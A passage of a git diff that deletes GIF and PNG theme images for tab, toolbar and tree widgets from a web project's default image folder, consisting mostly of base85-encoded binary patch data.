zmftCgdwjomxq$gFHJCdQ+PZ_EoJLm54s(eZpwB$-?_*CEA{yP4?kaf^!fVZ&ljHjyZH3qg@$%oTSO4z3`gia3-v=)~KYIE3!JEGi-~N64?(ft0f1iK&`{Lu@ zSD*gA`TY0Im%nen{QdCl-?v}?7)HTp2+%PE6o0ZXGcYhQ=z#15;&S4a5oxH0SN zs>{3yhr48VA6(hFIb*xfjjnHNf_V!bACgrtUw2uk;$t4KK*H+yJ${-Taz2a<42PQM zPKxkJ(vROCEp9#6VdthqhN;HZya#U@-alV!X+70p)|aQ38N94n84nr1IKF1C+YDL8 zubH>}>|d1e-fGQTF3`ljJvU-UF#ieLincdQJ1?_cSRCKycQ>=`^>ta}{qLqUet*xy z)BNWDJCWv}pR=~lGk;&w`1|`i_5=0rzcl^*E&k`x_V*!;|Nk?vt!M}q6Ulhc$Px7* zgo(%O#e-%}i_n8DB4HVctbU3M9=6GpbuB|t=_ytT&nMMP z`uTi9#V?DDDUEfNEBackRz9EIx$NhQITN>8zMMPtSf%EI+Fv_07qYUjFjxZs<-Km4 diff --git a/public/images/default/tabs/scroll-right.gif b/public/images/default/tabs/scroll-right.gif deleted file mode 100644 index 4c5e7e3958dd31d9591fb86b76bcea760d402589..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1300 zcmZ?wbhEHbRAJC&XlG#XDOwU%v(DkaLssvulIcf!H$6UdwB$-?_*CEA{yP4?kaf^!fVZ&ljHjyZH3qg@$%oTSO4z3`gia3-v=)~KYIE3!JEGi-~N64?(ft0f1iK&`{Lu@ zSD*gA`TY0Im%nen{QdCl-?v}?7)HTp2+%PE6o0ZXGB7YP=z#15bKis=idlbh4oJ2jiQWW7vW8%1R%X~mwJayU>VV6oTSu17E0R!3~kx?Aw2 z<@$QPLv^y%A^2nhXpR#NS^OQa!}QC!nD7;IO;8 zMx0HeKEtuD{z(do7CH|P>8bhKX)WCR_&kGEx1E$yOZVv&hST{9O`5VV%#Yn|$HjEy z<(27&ui0@eG=H;qZ?pX04-d`WZ8%~tlY3xKCG+ufGv&WNSh(rqhAS)OQxEL5Zr*!u zxBSPm6AoHE-0~gh?W8#ltoZnb3pn3T+xmtnRW2k2*D$RU8Q9-}2&7w}D*% z12@~1jK{qeQU;5eZN9yD+|MU+!Ku&XmWIj%k8c_&6J6zIs!Z}Wnz?wg|38VPQ_O=R zmrim{nwiQS9d&c*bki)!XH!#V?Npr=w<=O~cEqlqDszHP%~YA|bBpuojLarUwdpBR zFQ3nM{B-l#g8D}{RTia7NvSW+wu(|;lJ7N3eQ9yjE{%mYT3$=$IaFDxF7sq#VXy`O DM15!0 diff --git a/public/images/default/tabs/scroller-bg.gif b/public/images/default/tabs/scroller-bg.gif deleted file mode 100644 index 099b90d8aca10ad0e0a87552e5eca975a72f985a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1100 zcmZ?wbhEHbRAvxkXlGzB3f<)J-=TNYo33`GCmeE$39%ip(O{=Nqa{`~*` z?|&d*7zLvtFcd;S@h1x-0|O(24#=^fJi);6pMjM_#$&^RgUzhWECL4>ELn-DC~RnIVicC$7cz76!_!<$ z>JQ$${Hzu@UzjE8z|Ms$FE5w2*ptE~x+;X5$?(CI16#El)=4dqV*M?ebAwTWCGCLb z!rW*EhC5yYr?2V8>?~$a3FsDXisvX`{L|_%{qTbW%}d{jE|}`vc)XF(rY@$UsPV+) zrOQ%#E;pnzH`+^U=vaM8Kg*>5z~#U!(>vEVxDMCxM!#ZRY9ajM9&bW<)1iIUzyH}X ztY+Y{kkp7jH^=eevkOau1SA?YzdQ|GUUZ`%w(=VXldOd1+nvQV=ceVVf8Tof`}V7UcV7Lu_vY_|cfTII{rlwo-)A5GzWVg{)n_33 z|K{`GH(&m~{qpzyxBo!EFbYOPU=W9Z;!hT!>;5z7fZPbm6AT=|49qGs6ec`4(8R&7 zWpctG@o+1jveTR&8bSd<0UIDB9_$ireT@Wf$*vuBf>3d;uuMTd5FMl%bJhJ}p` byxeRN0S*aFO-%B91_mD*nV1VVf8Tof`}V7UcV7Lu_vY_|cfTII{rlwo-)A5GzWVg{)n_33 z|K{`GH(&m~{qpzyxBo!EFbYOPU=W9Z;!hT!>;5z7fZPbm6AT>x8PqvsJT@#i*vuiU z6?0<4!o%$X%3gCkHZD5aEoRSf;Kato$NLqWyJS2!B{ngr2Cs@axoPR?Y3lK(=6G&i zc6O>^{;NADH!nXw$F7-6)@zIMg+(5dwPLGER$g8nkZIQIwRKf!fAIROyQe}EudPcs z9QRji+nSq8QqHf6-EFLUdwW6Rq8{(<>tc3SeC{e)y?y=t)|&rZayE(v4-Z%JD#yu$ z8$LdsCF?v-Cd}yR=_uXgdorQM&(C|=Hp|(Dn7q7fhzYodz&w>VTjrBahiCSe0-cybJ4R4j(HVwd#&8~uB^?Te?#&2xA%OzoBzw} z2R5}c2wYkne}3QI-`_txK0V)m|GvM!e|&y@|NQ>_|NlL=Rd~?AB9`%>kwb08gC-uc z7Y~{R+%z7xh=gT4Y!xeeexOaJ?8U=&g*J^x9V*i@9(8IgTk)t%XWNTM-3I$CVwp{@ zWjyY+c(&qkpUt-ykNX|iG@ndx5zBls(L=3Mg^f|?!IQ}WZkkW0goI^2of?t0^69jg zvX@V%C$wokn~{{I(7=?jY~{0AIon=7n_X~B^ZA^TYnjjIRyp5UhSa>TCY|tnU?ix<%(si zUaeZQ?bWN*8;-eiy=G^vNqD_>$Fo(h*X{ZC>h<~qY}#)&91+WYv+;!5>NlHCNgZHd qxZtM!cFUEp?6+HQq^*9t?M~V2x7#1IX}{a?WSX}gvj__dgEat$YLPww diff --git a/public/images/default/tabs/tab-btm-left-bg.gif b/public/images/default/tabs/tab-btm-left-bg.gif deleted file mode 100644 index dde796870137f9f9e091100ec800072498b64f80..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1402 zcmZ?wbhEHb)L}GYXlG#P-SqhEz0a4Q{k!+(?}K;0UVi%X`tzT6U;lpi_V@FTzh8g; z`|4|fnTJWlvlbe=$Pt%A$HOF)Fva?eR z^IzRLxmo@E9J^*NS+5Y~3yVA^Yx!1{th~HDAl0nbYwN13eZlLq?w$%wytXdkaM)k1 zZEJ2WN;$tOw%SQ_jCSclKT^G@bGXMuX5aD#!Z;nSXxHI@h^gZ$rb^*Ecq2-#@o^_xJY?4tM{T_useY z=jRufSI4i9ThRFZ!{gKQ{rB(t`}@b|*Z0rw-w!MY*fbtAu<&VIVB}C+@t}#v?8Sp- z0XL0@Eh1qV4_hVDRy=HzDLb*yfulv^QHRR3j7Oas%T_$<(%JUnQMbV{jmJGE*D{iO znN$}%?z8#!;&HzNo92@VE@GKaCVHr?d@{+$?B$cmeq2iqObH3gd^$BEZROKxF=a2G zPETmld^RIxTIREv8S^wRFy(A}`D}K&3zjwN)<`^_abSv3P=;*2^VR!m?g2osqUGa~YHAgO|$}v}wIsv1D4-tCcI3t$MX; z&9+ysR&O{KuJwA&CMJOf<{i&gy53p&!*>FTG`_0A^YOCLDI%9Tv4Z}7o z?YCR5gk`_odLwQ1+6^oY+y}NlXw!bT^!xwa?EmKT z|J&;S;_(08@Bg5}?dtXa?f3tl!0hz=|JmyP;P3zB^8e-Y|EI_Co4xAq`2W}F{hGY$ zjk4q5?)u;D|MU9)A^8LV00000EC2ui00RIq000F%ARq)HIhN?DnrzyxZVbjHt3>W|e1@Q4~3<(Tm;RsAF1q~rm=nyy|06T&;ZRY?0 diff --git a/public/images/default/tabs/tab-btm-over-right-bg.gif b/public/images/default/tabs/tab-btm-over-right-bg.gif deleted file mode 100644 index 45346ab145a9f4796dfbebe62d84c2a785e16b21..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 638 zcmV-^0)hQUNk%w1VJrbM0K@goS5=hKY(MPoOO23|ls}S{n3*z{nw_2~oS&kfp`)glrKhTo zsjIGrt*^3wv9q>zwYR!&xx2n-y}!a?!NbN{#mCB1$;-}9JI~T<(bLvq4b|7%TNc{f z;8YRc;pI&e(BTJr4xw7TUm@{kM ztU1F10-!^S9!C>oFt6t5zwd>cgW6PdRyEg3#3kK-k&AYen-@tJ?|=UP{`(&Y7)HTp2n_uYQ2fcl%)r3Npab#>C{HkO#4<3m zSU7BWz}U#Fsu82{@Bt$ykATIDjt0lW%z^?U8V?ebn>bh$O%xm^r7&}_$QvXWEO>f~ vokdbbz+rM46PqC~1H*!Z<&1OKC3FlnEYJv?!yK*^TN$w6U=tHF6N5DXg62z6 diff --git a/public/images/default/tabs/tab-strip-bg.gif b/public/images/default/tabs/tab-strip-bg.gif deleted file mode 100644 index 34f13334511d9d8efe3dee18e6f69f3d1277f8e6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 835 zcmZ?wbhEHbWMq(HXlGzJee3<1+wafb{&4orhjVv6oWJ|w!rhM-?|r;<|I_6MpRPRk zboC(+eZKbS^YurcZ#@2d^U0T6PruxL`t{DUuXlmy`PX~TzukZFjbRjwhQJUE0mYvz zKv(}~&;hv}lqVQC6d3d)RyZU!wQvY1*c4o7ILO4xDIjB!uz;bFk%@_cgM+~u0EV(m Avj6}9 diff --git a/public/images/default/tabs/tab-strip-bg.png b/public/images/default/tabs/tab-strip-bg.png deleted file mode 100644 index fa8ab3f462f07ad14c7dbbf76117118a302e35a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 259 zcmeAS@N?(olHy`uVBq!ia0y~yU~>SnxjEQ?q`I@C5s=a;ag8W(E=o--$;{7F2+7P% zWe87AQ7|%Ba7j&8FfuSOQ!q5JGBmO>HB!(uFf}kZ+p+j0P#=4Vr>`sfH6CexDft?u z8*)G)&H|6fVg?4eLmeKJnpZ&P`;>Yb*KkvN$ zdGGD72k(9{jDpb+7>*&J_>%?bt^W) diff --git a/public/images/default/tabs/tabs-sprite.gif b/public/images/default/tabs/tabs-sprite.gif deleted file mode 100644 index e969fb0b7338c81f8e22e3f69f82fe49fb9b3d2d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2120 zcmeH`|3A}t0LMR@Sv#(pzRU-6RFY!pi@u#ZcG;OPS3Isuz7>Quj<9+o%+>iHqydKXVUq3t_j~CU~d;1O=3^k%I zK@b^`uT%}+t{?xq&)D9te$_uGl4xEH&A%Shb`ERb%I3SIy7w}@coY$jfq&$NZiV54 za=zztL9f!-HxBy8kpUIxp8ygSBAEcv31nyzNTM!e8%TbKsW$>0{H=_AsuJ(WpBfSg6Eg;XE65o%BUvD{bXEk zOXWSPEqo%A=v#Hal?Wf>hPPG~`V-;UmYcp0i`uPV+Gua_+QM z+jV}9XjM%UXVRS6?YV-3@6U&nCSD1PY#jK)GL$I7A7l=yuRmuXLlc& zu@F~vWI*)H{TFEUl1yM1Q1?`aK~Y?SJL;YpH0EedBw1L87_?THz$uRK(*dzsGDIRr zN|-oDu000xBPZXiMrBDev$%^N#95@_X;=$Cd;!|xEBsJq?XSTrf4yxQ8O3r=d><9( z$|fA7Z?+Cv6}4?0d(}aA(YxVj&me;IkXQF!hcK$_x&zIB`dxH%z}@AAET`IkY#?-W z$p}0A^jgNzrjTXz(8BD)vKw(l9~dVr_zGG6(PpcLQ%k!J%WoygcA%1$&nV<~7}(J7 zQY@FzM+-6?Q<$mNZpzVnSG{=+X~duCio)EOmnf#~Nu{EgbFmx6bj+qJOSnb!#x$OQ zx309J8HCcIwJqyPQw7b|^|;5i*7XaX39QN3hPrj%RhD2mP!*TgGF~F`a34c;?haG& zx`J%V`8^&zq=y45Z4xVov0;gS$z^#J7eHm)^lR+#H!Oo9khi&`&-UgmsGutKK zo3JG{IQG`S`*8EoS+V&=lHg5rPQu)WxZ?7;?)XQlxt^mhNSa=H@?lM%-@f~@{?s<0 z&`1vYIN) zra0~MyiReB6<(**9P7x_+-5Gmp-umDajq_{K$xRXs*K1n9B%+@W8xbj8=()LXV1q> zMX*6MN)n85BA`R-8Mu=o%`(^n`+Em-BweC&$n`L*==eqTTw-v8Jr{{O(q~Nu5lXI5 zOmaCba9#xEHSd)AVCWluTNGO4?WKyhhl1J$ll<_EGTqg0SK=TsxEO4=3?n(>GxLWT z+Fs!J71z|k&D@lenZG({BP+%iMQDqn^!^rkIa&w7FRn2+vc5;h@EPdNBxq}`#kPbC z!!{vHsb7oUY(CXAY`Y?h>hbZ|hI1IH9cro1&PAQB85HRX%{3qI^-El@T)1yD;q6N* z*pLx1l<(NiH$fRyS&5sN5QggKUQUKG{0r|y+e1x{I|Dc3>xW_#PS&{kV>SHjg&6$f z11U-@noGbjlFRoKHs`+Mp*9sBYCBRn9lAbP_HeiTu9##_UP~ji_3{WK0b80cM#ok+ zttB1zXuJ7p=bEan)?Gi(v2G2VjIEI9b|-hUZmaplWs}LP1I{(G?igl@OCfy#Q^4Yw aY~k|oDS;V9tOD~>PCR>kAPR$l-2Vk@&nw{o diff --git a/public/images/default/toolbar/bg.gif b/public/images/default/toolbar/bg.gif deleted file mode 100644 index 0b085bf24e173f7a2568c347f3245bdaade1579b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 904 zcmZ?wbhEHbWMZ&jXlGzJdGqb5TR`;g^zCwCTzUXRA1^)paQWfKD-So0~;Fd71bH3SrYvH+d-pFs!YKv14w;7Da~Z1~~up_!du)~evahJ_E= zc%_Uy&NM7kYU38y$=KqsP`Q;;Sgxby!h)1$R&Ie6E(r^kHZrktoKP`HXkcJuWMa6% p$*}A^6FZ-Z#4LwKrYSs=j0zqwFtu<5D0@r@Sh(uyYDPu|YXAnXewY9N diff --git a/public/images/default/toolbar/btn-arrow-light.gif b/public/images/default/toolbar/btn-arrow-light.gif deleted file mode 100644 index b0e24b55e7ee53b419bdd5d769bb036b19fe9592..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 916 zcmZ?wbhEHbQ@i%X_#s+qO5ao&#Bg}b_z?(JW>fAX3`Gd3KV zv*q~0?WdOQKC^1y`Sph`ZaH>k$H{AZ&)(dB?ha5d!zdUHfuS4%ia%Kx85kHDbU>Z} zernn7GpqKUUw`Q0mSb0ToV>R8?9Kh>?)?A%A85cR7!84;8v=?yS(q6Z7#Vax zUI66@296R2W)2yT4GRu7a|mm>STHs?w+nNawPX}9G%#|o>fAZ8aq;nf1?Mgq&rM5C zPSyxs6?1aa(*sN*0#Y579~gX_Ir7AO7EE5yG(%Y4FT%k%!-dUUH;Lzh!*aJqzAC;N dg;0f-Rg6jrr6;$pzP>);aF?w2wgd+TYXG#xTAcs@ diff --git a/public/images/default/toolbar/btn-over-bg.gif b/public/images/default/toolbar/btn-over-bg.gif deleted file mode 100644 index ee2dd9860c799be6dc194b387c36a953c55aac59..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 837 zcmZ?wbhEHbWMoKTXlGzJeCy}&J3mj~|8@T1uggzJpf;!hT!Z~imrfcyl?6AT{b$et`3#gN7&v4Zqzw`_ELgzA$|)pg(Xe14 SBQvX#kb;4O15gDcgEauAx-gUg diff --git a/public/images/default/toolbar/more.gif b/public/images/default/toolbar/more.gif deleted file mode 100644 index 02c2509fee0fb4555df61072d8e8daac8dc7430e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 845 zcmZ?wbhEHb_??HKjfkTUdnM1~7 r!-9j&9Ku>L9YCQ*K7KbIgN+Z4bP31@U9tF}++`ynz+epkzXub1 diff --git a/public/images/default/toolbar/tb-bg.gif b/public/images/default/toolbar/tb-bg.gif deleted file mode 100644 index 4969e4efeb37821bba1319dce59cd339cec06f86..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 862 zcmZ?wbhEHbWML3xXlG!!aPPx~`#|*Z;=Kx_O l3y+3|gN`0r3Od0)xY0~Iq4Rm?bCJ?B`>oTK&gPd3dz*}CLR%aU_l zD=ze`x;$asm5J-FP1|y7=C<4Oc0KGp@OARxuQQK*oqzJ{(lcLIpZm7u8ukxPurZ-YfblWU`p4o5&%%PX!%{-|5oZ<}b{tn!>Yw4W=u^Uq zQpF50j}MM*?7gx+W?f1zJDKabS=0$Rg*yZqflo?c5Ixr^dQ@Bde4NjsFf-c#W=%hte#Xx8144{oy_EOnT}e!Oo~L)&NLV<%|FT diff --git a/public/images/default/toolbar/tb-xl-btn-sprite.gif b/public/images/default/toolbar/tb-xl-btn-sprite.gif deleted file mode 100644 index 1bc0420f0f0e30675a9eef74adbcb55e3efe9d00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1663 zcmd_p`BPE}00(e9$fKOV%p>iPJj&c%bKS|xcC^ftT+_6&bQ^Q1v0|HYZH>xJ<)Pwz zJ{2=BT=7g3OVbPx;Rzm~c$*61k!dRMUNt+7`}{lhJD>Uf{{7*5&d1C3_zfM5t5zZg z*DM_almg(yCS!GDY@;y)?seu{c7h(Q&j zgny%6K+jMmP;5z0Y-vv%s!SALDvB=?$Crz#U$z654p0@{`RiKu^2 z14&f_^ePFRB}v{QO|F)tR7+E8P=l$c+QGEiq4e6Jw7Q}6I#~v)9yOfNFq~OGocVGj zt6?PT&fvmXJUF)t2KjJ7H_Q;g#SmQ5 z1DA>53Nc*S3$yy*ntr%$0BMjQ>>fpnXzn#itbEfu-`cm(hU#B@JFwI)`Pd=(_)fa~ zZtzp*(8~Lvl_n|DJczUmA#Y?z+c45Gigb=49N8*o_%nB8jW@E^HM-6jM|cwme{6$4 zuIe6F2`1FtlZbFqBbs8TgLuNs?IjW4Js7St1q>d8g*)ROwcN6j>9 zSu?Y&nf(OIS6~Hd6`or~l%J7#)Ecs|_GNMX3+8_r>uji{Y{M4quYv` zK1ZlvHoGPY*j-7ev-=+W3ti~ob1cXsIm=-%B`70^8A;N(lJ71^2VXz?dPh4Tu$GN$JgLf z{3za}WGW%h4420UW0~llVVYVIXr;Kr+JF~!z5KiQkXD$d#isr)hd6Wp9fH_M_ied= zbBRO2H$dKNZxrE1@t!jP7=AW&Qn~^8e!TYHBDTNK?x(Rb1Ec7OaGiY&W#c)!Q|oa) zxR@|!V1K^37G&$K8%{T-20M=%Uw4vYF~9N0M5&-GxF;=F>DrU-MpPWMarYu94|<*m zCmr;5E>{wK?G#LcKY>tb9dwxj<f_U;r4roZGa6lchMQo#=t2JlW z1rrR`MBfun)4u2}<(LGzxnp$QfVUwDi0IAGB@ z(YR^83IK=@3&2sHp2BJ>i_4GC(}I&g&Z3hSEU z&NlR)MYGw$S*eL3K?x;6chQB>jr0!$UUa!Ir<-f7mDQk# zBwX&silB=a;YFDn76zFmv)QzrZEk1V*~{;o^E|)bI{pWJ`S9@Y+&;Y*FLa&mKg-o{ zGXtE#VCd`XtN%z$v&7^lt+S-nPx^l-H-oChVzFASZnt}UeB9&lc)ebq&o>x?i8W;+ z0x#DTPXs0f@Cq;`sILTdDyqJY!dp!Y{CJS@QVn6G|s1BUZM+WbuojB z68@5KNy4B6%MygL5X|E591VxVu~;mTNF6 zT4fpSr~#G*mQx_FYA^?^pdwK*kF0=+VKowA?Or}MJ76DP!CM%*AD^gZu#s95A z(UowVnQP&+Hh#jD&D=5%-X5|Hk63M^_B)Qd&U>!=55^uodhEK?;~v?6`RUM^EeD?u zRaBmERc*B$=XEu%J!RdtiuUaXoK+lWJI3$cRO{Tq^PTU^ZQD8=zLF2tqkLnX?vSIJ z*Yl=;`DA&!eg2!Rd7-JEKVqNJFP{p`eI1PmRwLiEcXNZi?S{R1W!QA>{Vrp4!M?Mx zj_=e@PDiKTTrV5^*>fdcRasKn(y`S4;=E(uxo1t%_l&bzclc_ccC0io_oQne9xONN Gx$b`#5UBhB diff --git a/public/images/default/tree/drop-add.gif b/public/images/default/tree/drop-add.gif deleted file mode 100644 index b22cd1448efa13c47ad6d3b75bdea8b4031c31e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1001 zcmZ?wbhEHb6krfwXlG!sZ8LT1HFNH_aOtsj?X~gjxA*9E^z3&Ep6U}i%{O4CWB5GR zxH(~o^CD6fgr+PAPg@j`zBoE{b!f)w;OtcqS!<$mRz>A)jmQU~$dc{RCEH^Pc0?BK zj4s|4Q@Ag_Y)yK_x{UHY2^CvX>NjQ8>`JNKlUBPgy>f3}?ar*)o!Rv}a|;e8R~}5M zI+k5?IJ@p(X5I1prmcC+Tl3ns7k2C@@7Z0}wX?EwUq$b}>dE`-8_$%sovdm*S<`y9 zvg=S~|DoE>6ZKu^Yp3pS>N(xmcc!K9QuCyv4O0&^O+Vf`{Y>lRvmG-|x6L@yKI2T+ z?1R&1ADl7ea@VxWol~!LO}o-P{c88ji`{c?Oj>eo%Chs*mR*>(;O5i?H>WMVJ$u!a zxvQ_tS$1N<@{-~Tgx`xUa|S^%B{CoY`?W?%iUF5@2}Z*cg>Eg z>v!B;zx&SmUDr15xw>=vgZ29!ZQJ`~+mSmvj^5pQ^4^hC_l_QYap3f`!)G2GJNw}H zxtAxeygq;Z-KCo^FW&ihj$;hsoH8C8796zp$T+b>@c4oQ4ptl9{CxcUY?nYS7uzPr^nkf~ zF-KnfWK`sLl+9v^jSOlzC8As$;v$iu&bdH0ut_86$zxX@GwwqiGMCbLCdz4)g$X=7 zcxoaWQ~HIKhmx0vy2>O}Xevx#ky5l?_wGr-qtgtHrgJ}!+;FF#5#6#i2*%nh> zyAFx!#AZoGf3_x%!Zyuz9to2P8w(l~c~334oIij5|Ns9CqhK@yhFS=VTXXjp>_!!i-ZjhjBP9&d=d&P1P-@w z2*?REbZj`-z{teJvFE@96*ex`7^N1;;s=LXIk{il(fr(WZkkH%E}e=3)qp;}RJS=1 ZACr#t%8J+VSOzWgoT4>ViN zU%dGJ;lrOVU;h61@&EsShEXsY0)sdN6o0Y+UH6|s2joUjo?zgZ#9+@MbEA=|m5*7N zuP1?_;V=Wcmd2kAjEoFSyb3l63JeWQEzG)l4<-aOJF{^!n#_11;LyO$#4EyJxnXG= zBd1*n!vlvz??xWBngt9APKV|*$upc#SeW74&N(&d!GU0fOO1}n=k{oQNISc~334!T+I5ReJa7x*DTyS#YWmWQ8@*yChwS&o6 zrsT(mM-FYgx*h@@4;QobG08Hm@c7Wg%*HKZQ}Uv~iG_ooBg3QNK|^B;FB^}5K!V!o j#pc~334eSRT}sa)VS__s8w&@Y zgu;q|!z~;Fasmw<8xA%wGBG*Ccx+O2Y*vXZDtTe_=t!5iao(F9ACgZ@)bm{w(wUgh k*e9SZBf7&RvvH|ppWc*{Usi^4=^EOswG7BU)WBd303hyMjsO4v diff --git a/public/images/default/tree/drop-yes.gif b/public/images/default/tree/drop-yes.gif deleted file mode 100644 index 8aacb307e89d690f46853e01f5c4726bd5d94e31..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1016 zcmZ?wbhEHb6krfwXlGzhFH%vfSJo_7)vQuAsWC9EH&km;*6LR^?KiYxFJMjooS=wa?sdwqwu&r?{0KDI0upwuR+x56{~g zkq<(VSvvztwnvw2k15z6Ua%vwaA$PU&gkM@F@^i$%l9PIZcnS(l~TJWt#)5}{f^9- z1J*HzZPSi=W*zp-IqIEx!mH#^WYOu+{6mTPhZFOT08vuj(d7JNDFp|U3y&lh98WDi zo>p==rRYRP$%%~86B%VEGs{k8RUS;KJD6E_Jiqc}cGa2O`cnnX`*Pb46}28MZ8%lj zaHgpFTzUJ+%FZKY-6tw0oU5O>vwy;#zG=ssCm!gZcDil)nbs*M`lp@kn035;#_6_M zr`l(nX`gwvYwo%3nHRffUg(*1rFZuAiSsW_n15;F+#8b?UYok``qahOr>(v;d-dhn ztL{u+dw=%2>kHRkU$E}Z()D+iZN9m5#o~d_ub#R;qm;f57%vfxPJS?4f`H%+y8jS!N=PUJlT2r&He)i4xD~_ z;M%)OH{V=&_T};0@2@}p{P5-1r$2vx|NZy(|Ns9CqkyasQ2fcl%)rpgpaaqk$`cG6 zR~e)^Wjr=4aC9<_3F%-wzQDoVIAhB~=k&AfoLyW-Re?t*%+d(FBC_aGf`Fq$D3_+D zkjse)Dz(dOBqZEh6jdE-UYxkdEGT3zv4dmE!Dl=ZWi9e%{1g;@!G-s^!P$| z8==@$AR3<{5^GPA?~^>Pma%d|c$9FpHZ#?|? z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$lae%R5x_+pfh=9;jCRWxkA&~=x h2Yp#A(~SZe4mdO}wqloSIC&-M@bZAgN<174)&TX)MQs28 diff --git a/public/images/default/tree/elbow-end-minus.gif b/public/images/default/tree/elbow-end-minus.gif deleted file mode 100644 index 9a8d727d70ff5161ec18c0cd0156ae8d50a23b75..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 905 zcmZ?wbhEHb6krfyXlGzB^h$R6?=)rU-Z?Z#?|? z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$``4~=2xoOmJxRJ?YUCe?7 p4c<*mc6tvw4?K5dl1^^H;N?iZ| diff --git a/public/images/default/tree/elbow-end-plus-nl.gif b/public/images/default/tree/elbow-end-plus-nl.gif deleted file mode 100644 index 9f7f69880f48db8d86785639055fcc198764617b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 900 zcmZ?wbhEHb6krfyXlGzB^h$R6?=)rU-Z?uiX3i z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$uiX3i z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$y4*XmR1y>vzmpih{E$}o|KC(Juvl9;ogEauy5=OfK diff --git a/public/images/default/tree/elbow-end.gif b/public/images/default/tree/elbow-end.gif deleted file mode 100644 index f24ddee799ccebea4dfe60fd65a5703a6a59d44f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 844 zcmZ?wbhEHb6krfy_|CxK^xx^&v19*7!DtAK$PiHc$->A01UeuBlqVQCG#MBA01UeuBlqVQCv>6yVWIQ%3 sIM~R@rxjCSpm?~QTh?igM}U%RmzciOnH3WikN0ueH<|n}RA8_M07ViGB>(^b diff --git a/public/images/default/tree/elbow-minus-nl.gif b/public/images/default/tree/elbow-minus-nl.gif deleted file mode 100644 index 928779e92361aaebfe9446b236d95cb64256e443..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 898 zcmZ?wbhEHb6krfyXlGzB^h$R6?=)rU-Z?Z#?|? z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$lae%R5x_+pfh=9;jCRWxkA&~=x h2Yp#A(~SZe4mdO}wqloSIC&-M@bZAgN<174)&TX)MQs28 diff --git a/public/images/default/tree/elbow-minus.gif b/public/images/default/tree/elbow-minus.gif deleted file mode 100644 index 97dcc7110f13c3cfb72a66a9891e8ab3ccef4a98..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 908 zcmZ?wbhEHb6krfyXlGzB^h$R6?=)rU-Z?Z#?|? z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$``4~=2xoOmJxRJ?YUCe?7 s4c<*mc6tvw4?K5duiX3i z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$uiX3i z{QdXWpZ@~^!zdUHf#DSbia%MH85kHDbU@w$y4*XmR1y>vzmpih{E$}o|KC;?;W0q*gYXG$^NPhqT diff --git a/public/images/default/tree/elbow.gif b/public/images/default/tree/elbow.gif deleted file mode 100644 index b8f42083895bb98276f01a5d0e33debddb3ccf1b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 850 zcmZ?wbhEHb6krfy_|CxK^xx^&v19*7!DtAK$PiHc$->A01UeuBlqVQC^cfgAWIQ%3 wIM~R@rxjCSpm?~QTh?igM}U%R7pF1PhKh>{$NPBfn?f{-mK<+pWMr@g0DWQ)HUIzs diff --git a/public/images/default/tree/folder-open.gif b/public/images/default/tree/folder-open.gif deleted file mode 100644 index 56ba737bcc7734693d7ddb2f50c8f3235fceacee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 956 zcmZ?wbhEHb6krfwXlGzB^h$R6?=&-=aaIP?oGg}kIcy8^I2ILfEiU9P24$!>3v-_@?Pw@dZdEXiZDqz?6KotSEHa+=}k8OCR3nw(sqcz%)E z^&Jkk_UAm>?EL6pz~8F{|8JLmcvAKMN&S?id*>|OyM6oiIctwC-Fj{1-dlT*9ou>8 z$^Yvu|6jNKf8Y82L+Ae=lmGvp`Tzf%|NoaBIdbIa(W7V2p1pYS;<0P5Z#?|?{QdXW zpa1{*{pbJx{|uvGGz2IP0mYvz%nS^S3_2i_KzV|JV1OfBquQXEGvI4}0>6q3BdQLvD`XSzZ1sfd8&rn9pxa_cf0 z8;-R|sQDgyVbIvhINu@p(3Fo!OdU)nOn*uow`yILl(G@%_!WGtV|{}AnFkvZ9YR(b rI<1IZ9mc}SXv*Rj;4nR}iJ6T{KqBGLF$ZZACT_Vm-ya@qV6X-NkKMK> diff --git a/public/images/default/tree/folder.gif b/public/images/default/tree/folder.gif deleted file mode 100644 index 20412f7c1ba83b82dc3421b211db2f2e93f08bf2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 952 zcmZ?wbhEHb6krfwXlGzB^h$R6?=&-=aaIP?oGg}kIcy8^I2IRjFD>R>Udq3sOkj1T z@R}--bv0re>LfNdN^fnF-QFU)=hNov3pP6ZL zdwbCB?S=oZs*|No!)|Nor- z|92fYaNzXm(`U|{xqSKZwQJXoU3-1w;m7CizrX(c9|#ym!DtB3CIl3JvM@6+Ff!^t&H2GZdv-WZP}~tRj*oB|LorIYr@vw({}!uwfFDhO(&LbJ2U^lzeR`sUwH800T8|T 